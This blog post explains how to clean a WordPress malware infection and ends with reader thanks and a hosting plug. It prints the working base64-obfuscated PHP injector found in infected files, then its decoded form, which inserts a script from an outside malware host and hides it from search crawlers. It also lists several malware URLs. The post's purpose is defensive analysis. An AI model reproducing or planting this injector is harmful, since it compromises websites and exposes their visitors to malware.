Wordpress Got Hacked and Malware? Easy way to Remove malware

Recently One of my clients had about 20 wordpress website hosted with godaddy, He sent me an email telling me that all of his wordpress websites and blogs got hacked and he need to fix that as soon as possible , i immediately loged in to ftp and had a look and found out that every file in his wordpress installations Got infected with malware Dumb ( base 64 added to every file that ends with .php) below is how the malware dumb looks like

< ?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5cGJtUmxjMmxuYm5OMGRXUnBiMmx1Wm04dVkyOXRMMnh6TG5Cb2NDSStQQzl6WTNKcGNIUSsiKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));? >

and if we decode the above encoded php code we get the following php function

if(!function_exists('mrobh')) {
		if(!function_exists('gml')) {
		 function gml() {
		  if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))) {
		   return '< script src="http://indesignstudioinfo.com/ls.php"></script>';
		  }
 
		  return "";
		 }
		}
 
		if(!function_exists('gzdecode')) {
		 function gzdecode($var1) {
		  $var3=@ord(@substr($var1,3,1));
		  $var2=10;
 
		  if($var3&4) {
		   $var4=@unpack('v',substr($var1,10,2));
		   $var4=$var4[1];
		   $var2+=2+$var4;
		  }
 
		  if($var3&8) {
		   $var2=@strpos($var1,chr(0),$var2)+1;
		  }
 
		  if($var3&16) {
		   $var2=@strpos($var1,chr(0),$var2)+1;
		  }
 
		  if($var3&2) {
		   $var2+=2;
		  }
 
		  $var5=@gzinflate(@substr($var1,$var2));
 
		  if($var5===FALSE) {
		   $var5=$var1;
		  }
 
		  return $var5;
		 }
		}
 
		function mrobh($var6) {
		 Header('Content-Encoding: none');
		 $var7=gzdecode($var6);
 
		 if(preg_match('/\<\/body/si',$var7)) {
		  return preg_replace('/(\<\/body[^\>]*\>)/si', gml()."\n".'$1', $var7);
		 } else {
		  return $var7.gml();
		 }
		}
 
		ob_start('mrobh');
	}
}

and what the above function does is insert malicious javascript on your wordpress website Loading the malware from:
http://www.indesignstudioinfo.com/ls.php

http://zettapetta.com/js.php

http://holasionweb.com/oo.php

They Harm your website and also your visitor , when somebody visit your website he will be redirected to a site that will ask the visitor to download malware on their computers while they do not know its a malicious softwares

The Solution To remove the malware from your website is really easy

First download the following php file:
Download File
unzip it and upload cleanup.php to the root of your wordpress installation then navigation to

http://yoursite.com/cleanup.php.

this script will run through your wordpress files, look for the malware dumbs and remove it and wont keep anything behind , once you’re done just delete the file and your sites should be clean again without any malware.

Noah

Excellent directions!!! Thank you for posting this. My site is back online thanks to you.

share flag

spam
offensive
disagree
off topic

Marc

Wow! works like a charm! It cleaned all of my sites and installations inside my hosting account in Bluehost: Wordpress Oscommerce ModX regular sites The support team in Bluehost said base64_decode is the most usual hack. I sent them the link to this page so they offer this solution to other clients with the same problem. many thanks!

Mody

Glad to hear that :) if you want a reliable vps hosting , instead of sharing the space with others try http://host90.com their vps price is same as shared hosting thanks for the comment

Susan Osby

I've just subscribed to your RSS feed. I love your content.

ennie

Thank you very much for the clear explanation! my 2 wordpress sites Got hacked ! This clean up Script Works Perfect!!! and also removed all empty lines! Thank you so Much!

WordPress Got Hacked and Malware? Easy way to Remove malware

The Solution To remove the malware from your website is really easy

Latest Articles

Blogroll